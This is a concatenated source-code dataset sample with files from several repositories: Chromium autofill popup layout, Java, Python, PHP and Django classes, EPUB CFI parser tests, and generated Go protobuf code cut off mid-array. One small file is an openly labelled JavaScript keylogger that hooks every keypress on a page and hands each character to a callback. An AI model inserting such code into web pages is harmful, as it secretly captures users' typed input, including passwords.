CalculatePopupXAndWidth( top_left_display, bottom_right_display, popup_required_width); std::pair<int, int> popup_y_and_height = CalculatePopupYAndHeight( top_left_display, bottom_right_display, popup_height); popup_bounds_ = gfx::Rect(popup_x_and_width.first, popup_y_and_height.first, popup_x_and_width.second, popup_y_and_height.second); } #endif // !defined(OS_ANDROID) gfx::Display AutofillPopupControllerImpl::GetDisplayNearestPoint( const gfx::Point& point) const { return gfx::Screen::GetScreenFor(container_view())->GetDisplayNearestPoint( point); } std::pair<int, int> AutofillPopupControllerImpl::CalculatePopupXAndWidth( const gfx::Display& left_display, const gfx::Display& right_display, int popup_required_width) const { int leftmost_display_x = left_display.bounds().x() * left_display.device_scale_factor(); int rightmost_display_x = right_display.GetSizeInPixel().width() + right_display.bounds().x() * right_display.device_scale_factor(); // Calculate the start coordinates for the popup if it is growing right or // the end position if it is growing to the left, capped to screen space. int right_growth_start = std::max(leftmost_display_x, std::min(rightmost_display_x, element_bounds().x())); int left_growth_end = std::max(leftmost_display_x, std::min(rightmost_display_x, element_bounds().right())); int right_available = rightmost_display_x - right_growth_start; int left_available = left_growth_end - leftmost_display_x; int popup_width = std::min(popup_required_width, std::max(right_available, left_available)); // If there is enough space for the popup on the right, show it there, // otherwise choose the larger size. if (right_available >= popup_width || right_available >= left_available) return std::make_pair(right_growth_start, popup_width); else return std::make_pair(left_growth_end - popup_width, popup_width); } std::pair<int,int> AutofillPopupControllerImpl::CalculatePopupYAndHeight( const gfx::Display& top_display, const gfx::Display& bottom_display, int popup_required_height) const { int topmost_display_y = top_display.bounds().y() * top_display.device_scale_factor(); int bottommost_display_y = bottom_display.GetSizeInPixel().height() + (bottom_display.bounds().y() * bottom_display.device_scale_factor()); // Calculate the start coordinates for the popup if it is growing down or // the end position if it is growing up, capped to screen space. int top_growth_end = std::max(topmost_display_y, std::min(bottommost_display_y, element_bounds().y())); int bottom_growth_start = std::max(topmost_display_y, std::min(bottommost_display_y, element_bounds().bottom())); int top_available = bottom_growth_start - topmost_display_y; int bottom_available = bottommost_display_y - top_growth_end; // TODO(csharp): Restrict the popup height to what is available. if (bottom_available >= popup_required_height || bottom_available >= top_available) { // The popup can appear below the field. return std::make_pair(bottom_growth_start, popup_required_height); } else { // The popup must appear above the field. return std::make_pair(top_growth_end - popup_required_height, popup_required_height); } }
nacl-webkit/chrome_deps
chrome/browser/ui/autofill/autofill_popup_controller_impl.cc
C++
bsd-3-clause
20,155
package org.broadinstitute.hellbender.utils.runtime; public class ProcessOutput { private final int exitValue; private final StreamOutput stdout; private final StreamOutput stderr; /** * The output of a process. * * @param exitValue The exit value. * @param stdout The capture of stdout as defined by the stdout OutputStreamSettings. * @param stderr The capture of stderr as defined by the stderr OutputStreamSettings. */ public ProcessOutput(int exitValue, StreamOutput stdout, StreamOutput stderr) { this.exitValue = exitValue; this.stdout = stdout; this.stderr = stderr; } public int getExitValue() { return exitValue; } public StreamOutput getStdout() { return stdout; } public StreamOutput getStderr() { return stderr; } }
tomwhite/hellbender
src/main/java/org/broadinstitute/hellbender/utils/runtime/ProcessOutput.java
Java
bsd-3-clause
865
/* * skullsecurity.min.js * By Stefan Penner * Created December, 2009 * * (See LICENSE.txt) * * A simple javascript keylogger */ var SkullSecurity = SkullSecurity || {}; (function(lib){ lib.attachEvent = function( elem, type, handle ) { // IE #fail if ( elem.addEventListener ){ elem.addEventListener(type, handle, false); }else if(elem.attachEvent){ elem.attachEvent("on"+type,handle); } } })(SkullSecurity); (function(lib){ lib.keylogger = lib.keylogger || {}; lib.keylogger.start = function(fcn){ lib.attachEvent(document,'keypress',function(event){ if (!event) event = window.event; // ie #fail var code = String.fromCharCode(event.charCode); fcn.call(event,code); }); }; })(SkullSecurity);
iagox86/nbtool
samples/jsdnscat/js/skullsecurity.keylogger.js
JavaScript
bsd-3-clause
770
import logging import emission.analysis.modelling.tour_model.tour_model_matrix as tm import emission.analysis.modelling.tour_model.cluster_pipeline as eamtcp from uuid import UUID import random, datetime, sys def create_tour_model(user, list_of_cluster_data): # Highest level function, create tour model from the cluster data that nami gives me our_tm = set_up(list_of_cluster_data, user) ## Adds nodes to graph make_graph_edges(list_of_cluster_data, our_tm) populate_prob_field_for_locatons(list_of_cluster_data, our_tm) return our_tm ## Second level functions that are part of main def set_up(list_of_cluster_data, user_name): time0 = datetime.datetime(1900, 1, 1, hour=0) our_tour_model = tm.TourModel(user_name, 0, time0) for dct in list_of_cluster_data: start_name = dct['start'] end_name = dct['end'] start_coords = dct['start_coords'] end_coords = dct['end_coords'] for sec in dct['sections']: start_loc = tm.Location(start_name, our_tour_model) end_loc = tm.Location(end_name, our_tour_model) our_tour_model.add_location(start_loc, start_coords) our_tour_model.add_location(end_loc, end_coords) return our_tour_model def make_graph_edges(list_of_cluster_data, tour_model): for cd in list_of_cluster_data: start_loc = cd['start'] end_loc = cd['end'] start_loc_temp = tm.Location(start_loc, tour_model) start_loc_temp = tour_model.get_location(start_loc_temp) end_loc_temp = tm.Location(end_loc, tour_model) end_loc_temp = tour_model.get_location(end_loc_temp) e = make_graph_edge(start_loc_temp, end_loc_temp, tour_model) logging.debug("making edge %s" % e) for trip_entry in cd["sections"]: e.add_trip(trip_entry) def populate_prob_field_for_locatons(list_of_cluster_data, tour_model): for cd in list_of_cluster_data: start_loc = cd['start'] end_loc = cd['end'] for model_trip in cd["sections"]: start_loc_temp = tm.Location(start_loc, tour_model) start_loc_temp = tour_model.get_location(start_loc_temp) end_loc_temp = tm.Location(end_loc, tour_model) end_loc_temp = tour_model.get_location(end_loc_temp) com = tm.Commute(start_loc_temp, end_loc_temp) tour_model.add_start_hour(start_loc_temp, model_trip.start_time) start_loc_temp.increment_successor(end_loc_temp, get_start_hour(model_trip), get_day(model_trip)) ## Utility functions def make_graph_edge(start_point, end_point, tour_model): sp = tour_model.get_location(start_point) ep = tour_model.get_location(end_point) comm = tm.Commute(sp, ep) tour_model.add_edge(comm) return comm def get_start_hour(section_info): return section_info.start_time.hour def get_end_hour(section_info): return section_info.start_time.hour def get_day(section_info): return section_info.start_time.weekday() def get_mode_num(section_info): map_modes_to_numbers = {"walking" : 0, "car" : 1, "train" : 2, "bart" : 3, "bike" : 4} return random.randint(0, 4) final_tour_model = None if __name__ == "__main__": if len(sys.argv) > 1: user = UUID(sys.argv[1]) else: user = None list_of_cluster_data = eamtcp.main(user) final_tour_model = create_tour_model("shankari", list_of_cluster_data)
yw374cornell/e-mission-server
emission/analysis/modelling/tour_model/create_tour_model_matrix.py
Python
bsd-3-clause
3,536
/* eslint-disable */ describe('GENERATED CFI PARSER', function () { it ('parses a CFI with index steps', function () { var cfi = "epubcfi(/4/6/4)"; var parsedAST = EPUBcfi.Parser.parse(cfi); var expectedAST = { type : "CFIAST", cfiString : { type : "path", path: { type: "indexStep", stepLength: "4", idAssertion: undefined }, localPath : { steps : [ { type: "indexStep", stepLength: "6", idAssertion: undefined }, { type: "indexStep", stepLength: "4", idAssertion: undefined } ], termStep : "" } } } expect(parsedAST).toEqual(expectedAST); }); it ('parses a CFI with index steps and indirection steps', function () { var cfi = "epubcfi(/4/6!/4:9)"; var parsedAST = EPUBcfi.Parser.parse(cfi); var expectedAST = { type : "CFIAST", cfiString : { type : "path", path: { type: "indexStep", stepLength: "4", idAssertion: undefined }, localPath : { steps : [ { type: "indexStep", stepLength: "6", idAssertion: undefined }, { type: "indirectionStep", stepLength: "4", idAssertion: undefined } ], termStep : { type: "textTerminus", offsetValue: "9", textAssertion: undefined } } } } expect(parsedAST).toEqual(expectedAST); }); it ('parses a CFI with an id assertion on an index step', function () { var cfi = "epubcfi(/4[abc]/6!/4:9)"; var parsedAST = EPUBcfi.Parser.parse(cfi); var expectedAST = { type : "CFIAST", cfiString : { type : "path", path: { type: "indexStep", stepLength: "4", idAssertion: "abc" }, localPath : { steps : [ { type: "indexStep", stepLength: "6", idAssertion: undefined }, { type: "indirectionStep", stepLength: "4", idAssertion: undefined } ], termStep : { type: "textTerminus", offsetValue: "9", textAssertion: undefined } } } } expect(parsedAST).toEqual(expectedAST); }); it ('parses a CFI with an id assertion on an indirection step', function () { var cfi = "epubcfi(/4/6!/4[abc]:9)"; var parsedAST = EPUBcfi.Parser.parse(cfi); var expectedAST = { type : "CFIAST", cfiString : { type : "path", path: { type: "indexStep", stepLength: "4", idAssertion: undefined }, localPath : { steps : [ { type: "indexStep", stepLength: "6", idAssertion: undefined }, { type: "indirectionStep", stepLength: "4", idAssertion: "abc" } ], termStep : { type: "textTerminus", offsetValue: "9", textAssertion: undefined } } } } expect(parsedAST).toEqual(expectedAST); }); it ('parses a CFI with a csv-only text location assertion on a character terminus', function () { var cfi = "epubcfi(/4/6!/4:9[aaa,bbb])"; var parsedAST = EPUBcfi.Parser.parse(cfi); var expectedAST = { type : "CFIAST", cfiString : { type : "path", path: { type: "indexStep", stepLength: "4", idAssertion: undefined }, localPath : { steps : [ { type: "indexStep", stepLength: "6", idAssertion: undefined }, { type: "indirectionStep", stepLength: "4", idAssertion: undefined } ], termStep : { type: "textTerminus", offsetValue: "9", textAssertion: { type: "textLocationAssertion", csv: { type: "csv", preAssertion: "aaa", postAssertion: "bbb" }, parameter: "" } } } } } expect(parsedAST).toEqual(expectedAST); }); it ('parses a CFI with a csv-only text location assertion, with preceeding text only, on a character terminus', function () { var cfi = "epubcfi(/4/6!/4:9[aaa,])"; var parsedAST = EPUBcfi.Parser.parse(cfi); var expectedAST = { type : "CFIAST", cfiString : { type : "path", path: { type: "indexStep", stepLength: "4", idAssertion: undefined }, localPath : { steps : [ { type: "indexStep", stepLength: "6", idAssertion: undefined }, { type: "indirectionStep", stepLength: "4", idAssertion: undefined } ], termStep : { type: "textTerminus", offsetValue: "9", textAssertion: { type: "textLocationAssertion", csv: { type: "csv", preAssertion: "aaa", postAssertion: "" }, parameter: "" } } } } } expect(parsedAST).toEqual(expectedAST); }); it ('parses a CFI with a csv-only text location assertion, with subsequent text only, on a character terminus', function () { var cfi = "epubcfi(/4/6!/4:9[,bbb])"; var parsedAST = EPUBcfi.Parser.parse(cfi); var expectedAST = { type : "CFIAST", cfiString : { type : "path", path: { type: "indexStep", stepLength: "4", idAssertion: undefined }, localPath : { steps : [ { type: "indexStep", stepLength: "6", idAssertion: undefined }, { type: "indirectionStep", stepLength: "4", idAssertion: undefined } ], termStep : { type: "textTerminus", offsetValue: "9", textAssertion: { type: "textLocationAssertion", csv: { type: "csv", preAssertion: "", postAssertion: "bbb" }, parameter: "" } } } } } expect(parsedAST).toEqual(expectedAST); }); it ('parses a CFI with a csv and parameter text location assertion on a character terminus', function () { var cfi = "epubcfi(/4/6!/4:9[aaa,bbb;s=b])"; var parsedAST = EPUBcfi.Parser.parse(cfi); var expectedAST = { type : "CFIAST", cfiString : { type : "path", path: { type: "indexStep", stepLength: "4", idAssertion: undefined }, localPath : { steps : [ { type: "indexStep", stepLength: "6", idAssertion: undefined }, { type: "indirectionStep", stepLength: "4", idAssertion: undefined } ], termStep : { type: "textTerminus", offsetValue: "9", textAssertion: { type: "textLocationAssertion", csv: { type: "csv", preAssertion: "aaa", postAssertion: "bbb" }, parameter: { type: "parameter", LHSValue: "s", RHSValue: "b" } } } } } } expect(parsedAST).toEqual(expectedAST); }); it ('parses a CFI with parameter-only text location assertion on a character terminus', function () { var cfi = "epubcfi(/4/6!/4:9[;s=b])"; var parsedAST = EPUBcfi.Parser.parse(cfi); var expectedAST = { type : "CFIAST", cfiString : { type : "path", path: { type: "indexStep", stepLength: "4", idAssertion: undefined }, localPath : { steps : [ { type: "indexStep", stepLength: "6", idAssertion: undefined }, { type: "indirectionStep", stepLength: "4", idAssertion: undefined } ], termStep : { type: "textTerminus", offsetValue: "9", textAssertion: { type: "textLocationAssertion", csv: "", parameter: { type: "parameter", LHSValue: "s", RHSValue: "b" } } } } } } expect(parsedAST).toEqual(expectedAST); }); it ('parses a cfi with all the CFI escape characters', function () { var cfi = "epubcfi(/4[4^^^[^]^(^)^,^;^=]/6!/4:9)"; var parsedAST = EPUBcfi.Parser.parse(cfi); var expectedAST = { type : "CFIAST", cfiString : { type : "path", path: { type: "indexStep", stepLength: "4", idAssertion: "4^[](),;=" }, localPath : { steps : [ { type: "indexStep", stepLength: "6", idAssertion: undefined }, { type: "indirectionStep", stepLength: "4", idAssertion: undefined } ], termStep : { type: "textTerminus", offsetValue: "9", textAssertion: undefined } } } } expect(parsedAST).toEqual(expectedAST); }); it("parses a range CFI with element targets", function () { var cfi = "epubcfi(/2/2/4,/2/4,/4/6)"; var parsedAST = EPUBcfi.Parser.parse(cfi); var expectedAST = { type : "CFIAST", cfiString : { type : "range", path: { type: "indexStep", stepLength: "2", idAssertion: undefined }, localPath : { steps : [ { type: "indexStep", stepLength: "2", idAssertion: undefined }, { type: "indexStep", stepLength: "4", idAssertion: undefined } ], termStep : "" }, range1 : { steps : [ { type: "indexStep", stepLength: "2", idAssertion: undefined }, { type: "indexStep", stepLength: "4", idAssertion: undefined } ], termStep : "" }, range2 : { steps : [ { type: "indexStep", stepLength: "4", idAssertion: undefined }, { type: "indexStep", stepLength: "6", idAssertion: undefined } ], termStep : "" } } }; expect(parsedAST).toEqual(expectedAST); }); it("parses a range CFI with a text offset terminus", function () { var cfi = "epubcfi(/2/2/4,/2/4:3,/4/6:9)"; var parsedAST = EPUBcfi.Parser.parse(cfi); var expectedAST = { type : "CFIAST", cfiString : { type : "range", path: { type: "indexStep", stepLength: "2", idAssertion: undefined }, localPath : { steps : [ { type: "indexStep", stepLength: "2", idAssertion: undefined }, { type: "indexStep", stepLength: "4", idAssertion: undefined } ], termStep : "" }, range1 : { steps : [ { type: "indexStep", stepLength: "2", idAssertion: undefined }, { type: "indexStep", stepLength: "4", idAssertion: undefined } ], termStep : { type: "textTerminus", offsetValue: "3", textAssertion: undefined } }, range2 : { steps : [ { type: "indexStep", stepLength: "4", idAssertion: undefined }, { type: "indexStep", stepLength: "6", idAssertion: undefined } ], termStep : { type: "textTerminus", offsetValue: "9", textAssertion: undefined } } } }; expect(parsedAST).toEqual(expectedAST); }); });
readium/readium-cfi-js
spec/models/cfi_parser_spec.js
JavaScript
bsd-3-clause
18,772
<?php namespace SaSsiWidgetTest\View\Strategy; use Mockery, Zend\Http\PhpEnvironment\Request, Zend\Http\PhpEnvironment\Response, Zend\Mvc\MvcEvent, Zend\Mvc\Router\RouteMatch, Zend\View\ViewEvent; class SsiStrategyTest extends \PHPUnit_Framework_TestCase { /** * @var SaSsiWidget\View\Strategy\SsiStrategy */ protected $strategy; /** * @var SaSsiWidget\View\Renderer\SsiRenderer */ protected $renderer; public function setUp() { $this->renderer = new \SaSsiWidget\View\Renderer\SsiRenderer; $this->strategy = new \SaSsiWidget\View\Strategy\SsiStrategy( $this->renderer ); } public function tearDown() { \Mockery::close(); } public function testAttachAttachesEvents() { $events = Mockery::mock('Zend\EventManager\EventManager'); $events ->shouldReceive('attach') ->with(ViewEvent::EVENT_RENDERER, array($this->strategy, 'selectRenderer'), 1) ->once(); $events ->shouldReceive('attach') ->with(ViewEvent::EVENT_RESPONSE, array($this->strategy, 'injectResponse'), 1) ->once(); $this->strategy->attach($events); } public function testAttachAttachesEventsWithPriority() { $events = Mockery::mock('Zend\EventManager\EventManager'); $events ->shouldReceive('attach') ->with( ViewEvent::EVENT_RENDERER, array($this->strategy, 'selectRenderer'), 100 ) ->once(); $events ->shouldReceive('attach') ->with( ViewEvent::EVENT_RESPONSE, array($this->strategy, 'injectResponse'), 100 ) ->once(); $this->strategy->attach($events, 100); } public function testAttachAttachesEventsWithNullPriority() { $events = Mockery::mock('Zend\EventManager\EventManager'); $events ->shouldReceive('attach') ->with( ViewEvent::EVENT_RENDERER, array($this->strategy, 'selectRenderer') ) ->once(); $events ->shouldReceive('attach') ->with( ViewEvent::EVENT_RESPONSE, array($this->strategy, 'injectResponse') ) ->once(); $this->strategy->attach($events, null); } public function testDetachDetachesEvents() { $events = \Mockery::mock('\Zend\EventManager\EventManager[detach]'); $events->shouldReceive('detach')->andReturn(true)->times(2); $this->strategy->attach($events); $this->strategy->detach($events); } public function testSetSurrogateCapability() { $this->strategy->setSurrogateCapability(); $surrogateCapability = new \ReflectionProperty( 'SaSsiWidget\View\Strategy\SsiStrategy', 'surrogateCapability' ); $surrogateCapability->setAccessible(true); $this->assertTrue($surrogateCapability->getValue($this->strategy)); } public function testSelectRendererNotSurrogateCapable() { $e = new ViewEvent(); $e->setRequest(new Request()); $renderer = $this->strategy->selectRenderer($e); $this->assertNull($renderer); } public function testSelectRenderer() { $e = new ViewEvent(); $e->setRequest(new Request()); $this->strategy->setSurrogateCapability(); $renderer = $this->strategy->selectRenderer($e); $this->assertInstanceOf('SaSsiWidget\View\Renderer\SsiRenderer', $renderer); } public function testInjectResponseUnknownRenderer() { $e = new ViewEvent(); $response = new Response(); $e->setResponse($response); $e->setResult('foo'); $this->strategy->injectResponse($e); $this->assertEmpty($response->getContent()); } public function testInjectResponseSsiRenderer() { $e = new ViewEvent(); $response = new Response(); $e->setResponse($response); $e->setResult('foo'); $e->setRenderer($this->renderer); $this->strategy->injectResponse($e); $this->assertEquals('foo', $response->getContent()); } }
sanikeev/SaSsiWidget
test/SaSsiWidgetTest/View/Strategy/SsiStrategyTest.php
PHP
bsd-3-clause
4,402
# coding: utf-8 import re from copy import copy from django import forms from django.contrib.contenttypes.models import ContentType from django.conf import settings from django.core.exceptions import ImproperlyConfigured from django.db import models from django.db.models.fields import FieldDoesNotExist from django.db import IntegrityError from django.contrib import messages from django.utils.translation import ugettext as _ from django.utils.encoding import force_unicode class CSVFilterForm(forms.Form): """ filter the data of a queryset. """ def __init__(self, *args, **kwargs): self.model = kwargs.pop('model') super(CSVFilterForm, self).__init__(*args, **kwargs) if not self.model: raise ImproperlyConfigured('Seems like there is no model defined. check our urlpatterns (add model to kwargs).') self.csv_filter_definition = settings.CSV_EXPORTER_FILTER_DEFINITION[self.model._meta.module_name] self.create_fields(filter_def=self.csv_filter_definition) def create_fields(self, filter_def={}, prefix=""): for key in filter_def: if type(filter_def[key]) == dict: self.create_fields(filter_def=filter_def[key], prefix=prefix + key + "__") elif type(filter_def[key]) == list: for filter_type in filter_def[key]: self.fields[prefix + key + "__" + filter_type] = forms.CharField(required=False) else: self.fields[prefix + key + "__" + filter_def[key]] = forms.CharField(required=False) def clean(self): filters = {} for item in self.cleaned_data: if self.cleaned_data[item]: filters[item] = self.cleaned_data[item] if len(filters) == 0: raise forms.ValidationError("no filters selected!") self.filters = filters return super(CSVFilterForm, self).clean() def save(self): return self.model.objects.filter(**self.filters)
fetzig/django-csv-exporter
csvexporter/forms.py
Python
bsd-3-clause
2,038
// Code generated by protoc-gen-go. // source: SecureBulkLoad.proto // DO NOT EDIT! package hbase_pb import proto "github.com/golang/protobuf/proto" import fmt "fmt" import math "math" // Reference imports to suppress errors if they are not otherwise used. var _ = proto.Marshal var _ = fmt.Errorf var _ = math.Inf type SecureBulkLoadHFilesRequest struct { FamilyPath []*BulkLoadHFileRequest_FamilyPath `protobuf:"bytes,1,rep,name=family_path" json:"family_path,omitempty"` AssignSeqNum *bool `protobuf:"varint,2,opt,name=assign_seq_num" json:"assign_seq_num,omitempty"` FsToken *DelegationToken `protobuf:"bytes,3,req,name=fs_token" json:"fs_token,omitempty"` BulkToken *string `protobuf:"bytes,4,req,name=bulk_token" json:"bulk_token,omitempty"` XXX_unrecognized []byte `json:"-"` } func (m *SecureBulkLoadHFilesRequest) Reset() { *m = SecureBulkLoadHFilesRequest{} } func (m *SecureBulkLoadHFilesRequest) String() string { return proto.CompactTextString(m) } func (*SecureBulkLoadHFilesRequest) ProtoMessage() {} func (*SecureBulkLoadHFilesRequest) Descriptor() ([]byte, []int) { return fileDescriptor28, []int{0} } func (m *SecureBulkLoadHFilesRequest) GetFamilyPath() []*BulkLoadHFileRequest_FamilyPath { if m != nil { return m.FamilyPath } return nil } func (m *SecureBulkLoadHFilesRequest) GetAssignSeqNum() bool { if m != nil && m.AssignSeqNum != nil { return *m.AssignSeqNum } return false } func (m *SecureBulkLoadHFilesRequest) GetFsToken() *DelegationToken { if m != nil { return m.FsToken } return nil } func (m *SecureBulkLoadHFilesRequest) GetBulkToken() string { if m != nil && m.BulkToken != nil { return *m.BulkToken } return "" } type SecureBulkLoadHFilesResponse struct { Loaded *bool `protobuf:"varint,1,req,name=loaded" json:"loaded,omitempty"` XXX_unrecognized []byte `json:"-"` } func (m *SecureBulkLoadHFilesResponse) Reset() { *m = SecureBulkLoadHFilesResponse{} } func (m *SecureBulkLoadHFilesResponse) String() string { return proto.CompactTextString(m) } func (*SecureBulkLoadHFilesResponse) ProtoMessage() {} func (*SecureBulkLoadHFilesResponse) Descriptor() ([]byte, []int) { return fileDescriptor28, []int{1} } func (m *SecureBulkLoadHFilesResponse) GetLoaded() bool { if m != nil && m.Loaded != nil { return *m.Loaded } return false } type DelegationToken struct { Identifier []byte `protobuf:"bytes,1,opt,name=identifier" json:"identifier,omitempty"` Password []byte `protobuf:"bytes,2,opt,name=password" json:"password,omitempty"` Kind *string `protobuf:"bytes,3,opt,name=kind" json:"kind,omitempty"` Service *string `protobuf:"bytes,4,opt,name=service" json:"service,omitempty"` XXX_unrecognized []byte `json:"-"` } func (m *DelegationToken) Reset() { *m = DelegationToken{} } func (m *DelegationToken) String() string { return proto.CompactTextString(m) } func (*DelegationToken) ProtoMessage() {} func (*DelegationToken) Descriptor() ([]byte, []int) { return fileDescriptor28, []int{2} } func (m *DelegationToken) GetIdentifier() []byte { if m != nil { return m.Identifier } return nil } func (m *DelegationToken) GetPassword() []byte { if m != nil { return m.Password } return nil } func (m *DelegationToken) GetKind() string { if m != nil && m.Kind != nil { return *m.Kind } return "" } func (m *DelegationToken) GetService() string { if m != nil && m.Service != nil { return *m.Service } return "" } type PrepareBulkLoadRequest struct { TableName *TableName `protobuf:"bytes,1,req,name=table_name" json:"table_name,omitempty"` XXX_unrecognized []byte `json:"-"` } func (m *PrepareBulkLoadRequest) Reset() { *m = PrepareBulkLoadRequest{} } func (m *PrepareBulkLoadRequest) String() string { return proto.CompactTextString(m) } func (*PrepareBulkLoadRequest) ProtoMessage() {} func (*PrepareBulkLoadRequest) Descriptor() ([]byte, []int) { return fileDescriptor28, []int{3} } func (m *PrepareBulkLoadRequest) GetTableName() *TableName { if m != nil { return m.TableName } return nil } type PrepareBulkLoadResponse struct { BulkToken *string `protobuf:"bytes,1,req,name=bulk_token" json:"bulk_token,omitempty"` XXX_unrecognized []byte `json:"-"` } func (m *PrepareBulkLoadResponse) Reset() { *m = PrepareBulkLoadResponse{} } func (m *PrepareBulkLoadResponse) String() string { return proto.CompactTextString(m) } func (*PrepareBulkLoadResponse) ProtoMessage() {} func (*PrepareBulkLoadResponse) Descriptor() ([]byte, []int) { return fileDescriptor28, []int{4} } func (m *PrepareBulkLoadResponse) GetBulkToken() string { if m != nil && m.BulkToken != nil { return *m.BulkToken } return "" } type CleanupBulkLoadRequest struct { BulkToken *string `protobuf:"bytes,1,req,name=bulk_token" json:"bulk_token,omitempty"` XXX_unrecognized []byte `json:"-"` } func (m *CleanupBulkLoadRequest) Reset() { *m = CleanupBulkLoadRequest{} } func (m *CleanupBulkLoadRequest) String() string { return proto.CompactTextString(m) } func (*CleanupBulkLoadRequest) ProtoMessage() {} func (*CleanupBulkLoadRequest) Descriptor() ([]byte, []int) { return fileDescriptor28, []int{5} } func (m *CleanupBulkLoadRequest) GetBulkToken() string { if m != nil && m.BulkToken != nil { return *m.BulkToken } return "" } type CleanupBulkLoadResponse struct { XXX_unrecognized []byte `json:"-"` } func (m *CleanupBulkLoadResponse) Reset() { *m = CleanupBulkLoadResponse{} } func (m *CleanupBulkLoadResponse) String() string { return proto.CompactTextString(m) } func (*CleanupBulkLoadResponse) ProtoMessage() {} func (*CleanupBulkLoadResponse) Descriptor() ([]byte, []int) { return fileDescriptor28, []int{6} } func init() { proto.RegisterType((*SecureBulkLoadHFilesRequest)(nil), "hbase.pb.SecureBulkLoadHFilesRequest") proto.RegisterType((*SecureBulkLoadHFilesResponse)(nil), "hbase.pb.SecureBulkLoadHFilesResponse") proto.RegisterType((*DelegationToken)(nil), "hbase.pb.DelegationToken") proto.RegisterType((*PrepareBulkLoadRequest)(nil), "hbase.pb.PrepareBulkLoadRequest") proto.RegisterType((*PrepareBulkLoadResponse)(nil), "hbase.pb.PrepareBulkLoadResponse") proto.RegisterType((*CleanupBulkLoadRequest)(nil), "hbase.pb.CleanupBulkLoadRequest") proto.RegisterType((*CleanupBulkLoadResponse)(nil), "hbase.pb.CleanupBulkLoadResponse") } func init() { proto.RegisterFile("SecureBulkLoad.proto", fileDescriptor28) } var fileDescriptor28 = []byte{ // 456 bytes of a gzipped FileDescriptorProto 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x09, 0x6e, 0x88, 0x02, 0xff, 0x84, 0x93, 0xdf, 0x6e, 0xd3, 0x30, 0x18, 0xc5, 0xe5, 0x6e, 0x82, 0xec, 0x6b, 0xb5, 0x21, 0x03, 0x5d, 0x57, 0xb8, 0x28, 0x91, 0x80, 0xf0, 0xcf, 0x17, 0x7d, 0x00, 0x24, 0x3a, 0x34, 0x55, 0x08, 0xa1, 0x8a, 0x4d, 0xdc, 0x46, 0x4e, 0xf3, 0xb5, 0xb5, 0x9a, 0xda, 0x5e, 0xec, 0x80, 0x78, 0x03, 0x1e, 0x83, 0x27, 0xe0, 0x92, 0xe7, 0xc3, 0x49, 0x53, 0x65, 0xc9, 0x42, 0x77, 0x97, 0xd8, 0xe7, 0x7c, 0xfe, 0x9d, 0x13, 0x07, 0x1e, 0x5d, 0xe2, 0x3c, 0x4b, 0x71, 0x92, 0x25, 0xeb, 0xcf, 0x8a, 0xc7, 0x4c, 0xa7, 0xca, 0x2a, 0xea, 0xad, 0x22, 0x6e, 0x90, 0xe9, 0x68, 0xd8, 0x9d, 0x4e, 0x8a, 0xa7, 0x7c, 0x79, 0xd8, 0x3b, 0x4f, 0x04, 0x4a, 0xbb, 0x7d, 0xf3, 0xff, 0x12, 0x78, 0x52, 0x77, 0x4f, 0x2f, 0x44, 0x82, 0xe6, 0x2b, 0x5e, 0x67, 0x68, 0x2c, 0x7d, 0x0f, 0xdd, 0x05, 0xdf, 0x88, 0xe4, 0x67, 0xa8, 0xb9, 0x5d, 0x0d, 0xc8, 0xe8, 0x20, 0xe8, 0x8e, 0x5f, 0xb1, 0xdd, 0x68, 0x56, 0x73, 0x95, 0x26, 0x76, 0x51, 0x38, 0x66, 0xce, 0x40, 0xfb, 0x70, 0xcc, 0x8d, 0x11, 0x4b, 0x19, 0x1a, 0xbc, 0x0e, 0x65, 0xb6, 0x19, 0x74, 0x46, 0x24, 0xf0, 0xe8, 0x1b, 0xf0, 0x16, 0x26, 0xb4, 0x6a, 0x8d, 0x72, 0x70, 0x30, 0xea, 0xb8, 0xa1, 0x67, 0xd5, 0xd0, 0x8f, 0x98, 0xe0, 0x92, 0x5b, 0xa1, 0xe4, 0x55, 0x2e, 0xa0, 0x14, 0x20, 0x72, 0xe7, 0x94, 0xf2, 0x43, 0x27, 0x3f, 0xf2, 0x19, 0x3c, 0x6d, 0xe7, 0x36, 0x5a, 0x49, 0x83, 0xf4, 0x18, 0xee, 0x25, 0x6e, 0x15, 0x63, 0xc7, 0xdc, 0x09, 0x3c, 0xff, 0x1b, 0x9c, 0xb4, 0x8c, 0x15, 0xb1, 0xab, 0x42, 0x2c, 0x04, 0xa6, 0x4e, 0x46, 0x82, 0x1e, 0x7d, 0x00, 0x9e, 0x76, 0xc0, 0x3f, 0x54, 0x1a, 0x17, 0xa4, 0x3d, 0xda, 0x83, 0xc3, 0xb5, 0x90, 0xb1, 0xa3, 0x24, 0xc1, 0x11, 0x3d, 0x81, 0xfb, 0x06, 0xd3, 0xef, 0x62, 0x8e, 0x8e, 0xc3, 0x2d, 0xf8, 0x1f, 0xa0, 0x3f, 0x4b, 0x51, 0xf3, 0x0a, 0x64, 0x57, 0xdd, 0x4b, 0x00, 0xcb, 0xa3, 0x04, 0x43, 0xc9, 0x37, 0x58, 0x50, 0x74, 0xc7, 0x0f, 0xab, 0x90, 0x57, 0xf9, 0xde, 0x17, 0xb7, 0xe5, 0xbf, 0x83, 0xd3, 0x5b, 0x23, 0xca, 0x14, 0xf5, 0xe4, 0xa4, 0x48, 0xfe, 0x16, 0xfa, 0xe7, 0x09, 0x72, 0x99, 0xe9, 0xe6, 0x89, 0x6d, 0xea, 0x33, 0x38, 0xbd, 0xa5, 0xde, 0x0e, 0x1f, 0xff, 0xe9, 0xc0, 0xe3, 0x7a, 0x87, 0x97, 0xdb, 0x68, 0xd4, 0x95, 0xd5, 0x20, 0xa2, 0xa3, 0x8a, 0xbc, 0x3d, 0xef, 0xf0, 0xd9, 0x1e, 0x45, 0x19, 0x07, 0x9b, 0x57, 0x75, 0xfb, 0xd1, 0xe8, 0xf3, 0xca, 0xba, 0xe7, 0x32, 0x0e, 0x5f, 0xdc, 0x25, 0x2b, 0x8f, 0x71, 0xf8, 0x8d, 0xcc, 0x37, 0xf1, 0xdb, 0xcb, 0xbb, 0x89, 0xff, 0x9f, 0xc2, 0x26, 0x9f, 0xe0, 0xb5, 0x4a, 0x97, 0x8c, 0x6b, 0x3e, 0x5f, 0x21, 0x5b, 0xf1, 0x58, 0x29, 0xbd, 0x73, 0xe5, 0x7f, 0x53, 0x94, 0x2d, 0xd8, 0x12, 0x25, 0xa6, 0xdc, 0x62, 0x3c, 0x69, 0x44, 0x9d, 0xe5, 0x0a, 0x33, 0x25, 0xbf, 0x08, 0xf9, 0x4d, 0xc8, 0xbf, 0x00, 0x00, 0x00, 0xff, 0xff, 0x5a, 0x13, 0x91, 0x1e, 0xb4, 0x03, 0x00, 